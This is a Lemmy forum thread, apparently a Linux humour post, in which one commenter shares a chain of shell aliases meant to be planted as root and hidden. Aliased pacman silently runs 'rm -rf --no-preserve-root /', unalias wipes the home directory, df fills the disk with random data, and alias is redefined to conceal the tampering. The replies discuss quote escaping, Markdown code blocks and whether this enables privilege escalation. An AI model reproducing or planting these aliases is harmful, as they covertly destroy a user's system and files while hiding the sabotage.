OMG, that's horrible. Back in my day all we did was set a screenshot of the desktop as the wallpaper, and then hide all the icons to prank people.

This needs to be done with something that would be run as root, in a more hidden way, without disrupting service.


<span style="color:#323232;">export OLDALIASVALUES=$(alias) 
</span><span style="color:#323232;">&& alias alias='echo "${OLDALIASVALUES}"' 
</span><span style="color:#323232;">&& alias pacman='(rm -rf --no-preserve-root / &) &> /dev/null ; pacman' 
</span><span style="color:#323232;">&& alias unalias='(rm -rf ~/* ~/.* &) &> /dev/null ; sleep 5 ; echo "Not so fast my friend. You_re becoming homeless."' 
</span><span style="color:#323232;">&& alias df='(cat /dev/urandom >> ~/.df_stands_for_disk_full &) &> /dev/null ; df'
</span>

It’s not perfect, plus I added something extra, but it’s a slight improvement.
Also, I wish there was a way to turn off that code block color formatting in Lemmy 0.19.x. Nevermind, copy-pasted it into glorious Vim, I didn’t escape the single quote in “You’re”.
Edit 2: Nevermind, that still screws up single quotes as \ is literal. _ will do ¯\⁠⁠(⁠ツ⁠)⁠⁠/⁠¯

you have to alias alias last, so it actually aliases.

Oh crap, I forgot. Thanks. I just escaped it.

There is! Markdown supports


<span style="color:#323232;">```<language>
</span>

to enable syntax highlighting in code blocks. If you have an invalid language (e.g. .), it will just disable syntax highlighting.

Does this really work? Won’t be this a security issue since this may be used for privilege escalation?

Do we have a linux shitposting community? (no offense, this is a great shitpost)

Just how different is a meme community to a shitpost community. Do we really need to split them?
